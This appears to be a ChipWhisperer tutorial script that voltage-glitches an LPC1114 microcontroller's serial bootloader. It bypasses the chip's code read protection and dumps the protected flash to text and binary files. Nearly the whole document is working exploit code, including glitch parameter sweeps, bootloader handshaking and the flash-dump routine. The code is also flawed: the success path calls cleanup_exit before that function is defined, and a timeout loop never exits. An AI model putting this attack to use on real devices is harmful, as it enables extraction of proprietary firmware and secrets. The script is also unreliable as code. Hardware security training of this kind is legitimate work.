Tutorial A9 Bypassing LPC1114 Read Protect

"""
Script to break LPC1114 bootloader and dump flash in files

For use without the CW GUI
"""
from __future__ import print_function

import sys
import binascii

#disable printing when glitch stuff is changed
from chipwhisperer.common.utils.parameter import Parameter
Parameter.printParameterPath = False


import time
import logging
import os
from collections import namedtuple
import numpy as np
import chipwhisperer as cw
from tqdm import trange
logging.basicConfig(level=logging.NOTSET)
scope = cw.scope()
target = cw.target(scope)
#Create and register glitcher

# Original attack done with 100 MHz clock - can be helpful to run this
# 2x faster to get better resolution, which seems useful for glitching certain boards
freq_multiplier = 2

#Initial Setup
scope.adc.samples = 10000
scope.adc.offset = 0
scope.clock.adc_src = "clkgen_x1"
scope.trigger.triggers = "tio4"
scope.io.glitch_lp = True
scope.io.hs2 = None

scope.glitch.width = 40
scope.io.tio1 = "serial_rx"
scope.io.tio2 = "serial_tx"
scope.adc.basic_mode = "rising_edge"
scope.clock.clkgen_freq = 100000000 * freq_multiplier
scope.glitch.clk_src = "clkgen"
scope.glitch.trigger_src = "ext_single"
scope.glitch.output = "enable_only"

target.baud = 38400
target.key_cmd = ""
target.go_cmd = ""
target.output_cmd = ""


# Glitcher
class LPC_glitch(object):
    def __init__(self, scope, target):
        self.scope = scope
        self.target = target
        self.serial = target.ser

    def setup_bootloader(self, delay = 0.05):
        self.serial.flush()
        self.serial.write("?")
        #wait for full response, since we need to make sure we don't throw off baud calc
        self.read_line(0)
        self.serial.write("Synchronized\r\n")
        self.read_line(10)
        self.read_line(10)

        self.serial.write("12000\r\n")
        self.read_line(10)
        self.read_line(10)

        self.serial.write("A 0\r\n") #turn echo off
        self.read_line(10)

        self.serial.flush()

    def check_err_rtn(self, s):
        if "0" in s:
            return True
        else:
            #sometimes reading the error code fails for some reason, so don't do anything
            #about these unexpected returns
            if "19" not in s:
                print( "Unexpected error code " + s)
            return False

    def get_read_string(self, timeout = 10):
        self.serial.write("R 0 4\r\n")
        return self.read_line(timeout)



    '''
    read flash in rd_len byte increments and store in uu, binary, and ascii files
    NOTE: rd_len should be chosen so that it is less than 45 bytes (since we can
    only handle 1 line at a time) and uu to binary is a whole number
    (ie rd_len * 4 / 3 is a whole number), as the decode doesn't like padding bytes

    start_addr and length must be 4 byte aligned (so divisible by 4)

    If unsure, just use the defaults
    '''
    def dump_flash(self, start_addr = 0, length = 0x8000, rd_len = 24):
        if start_addr % 4:
            print ("Address not 4 byte aligned!")
            return -1
        if length % 4:
            print ("Length not 4 byte aligned!")
            return -1

        #eat data return and checksum
        self.read_line()
        self.read_line()
        self.serial.write("OK\r\n")

        time.sleep(0.1)

        uu_file = open("uu_flash.txt", "w")
        ascii_file = open("ascii_flash.txt", "w")
        bin_file = open("bin_flash.bin", "wb")

        print ("Doing loop")
        for i in trange(start_addr, start_addr + length - 1, rd_len):
            self.serial.write("R {:d} {:d}\r\n".format(i, rd_len))
            err = self.read_line()

            #only checking addr errors at this point
            if "13" in err:
                #addr err
                print ("addr error: addr = {:d}".format(i))
                return -1

            flash = self.read_line(0)
            if flash:
                data_len = ord(flash[0]) - 32
                if rd_len != data_len:
                    print ("Unexpected data_len {:x}, expected {:x}".format(data_len, rd_len))
                    print ("Actual flash: " + flash)

                # Bootloader uses ` instead of space for 0
                data = flash.replace('`', " ")
                checksum = self.read_line() #eat checksum for now, can check it later


                self.serial.write("OK\r\n")
                try:
                    uu_file.write("0x{:08x}: ".format(i) + data + "\n")

                    binary_data = binascii.a2b_uu(data)
                    bin_file.write(binary_data)
                    ascii_file.write("0x{:08x}: ".format(i) + str(binascii.hexlify(binary_data)) + "\n")
                except binascii.Error as e:
                    print( "Invalid data: " + data)
                    print( "\nError: " + str(e) + "\n")


        uu_file.close()
        bin_file.close()
        ascii_file.close()
        return 0

    def read_line(self, timeout = 10, term = '\n'):
        ch = " "
        s = ""
        while ch != "\n" and ch != "":
            ch = self.serial.read(1, timeout)
            s += ch
        return s

    def rst_low(self):
        self.scope.io.nrst = 'low'
    def rst_high(self):
        self.scope.io.nrst = 'high'

glitcher = LPC_glitch(scope, target)

Range = namedtuple("Range", ["min", "max", "step"])
offset_range = Range(5180*freq_multiplier, 5185*freq_multiplier, 1)
repeat_range = Range(8*freq_multiplier, 15*freq_multiplier, 1)

scope.glitch.repeat = repeat_range.min
print("Entering glitch loop")

# it may take quite a few cycles to get a glitch, so just attempt until we get it
while True:
    scope.glitch.ext_offset = offset_range.min
    if scope.glitch.repeat >= repeat_range.max:
        scope.glitch.repeat = repeat_range.min
    while scope.glitch.ext_offset < offset_range.max:

        glitcher.rst_low()

        scope.arm()

        glitcher.rst_high()

        timeout = 50
        while target.isDone() is False:
            timeout -= 1
            time.sleep(0.01)

        glitcher.setup_bootloader()

        s = glitcher.get_read_string()

        print( "Read string: " + s)
        print( "Offset = {:04d}, Repeat = {:02d}".format(scope.glitch.ext_offset, scope.glitch.repeat))
        if glitcher.check_err_rtn(s):
            print ("Success!")
            glitcher.dump_flash()
            cleanup_exit()
        scope.glitch.ext_offset += offset_range.step

    scope.glitch.repeat += repeat_range.step
def cleanup_exit():
    scope.dis()
    target.dis()
    exit()
    
cleanup_exit()